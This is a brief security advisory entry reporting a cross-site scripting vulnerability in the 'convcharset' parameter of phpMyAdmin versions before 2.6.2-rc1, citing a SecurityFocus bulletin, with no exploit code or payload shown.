phpMyAdmin 2.x - Convcharset Cross-Site Scripting

source: https://www.securityfocus.com/bid/12982/info

phpMyAdmin is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input to the 'convcharset' parameter.

phpMyAdmin versions prior to 2.6.2-rc1 are affected by this issue.
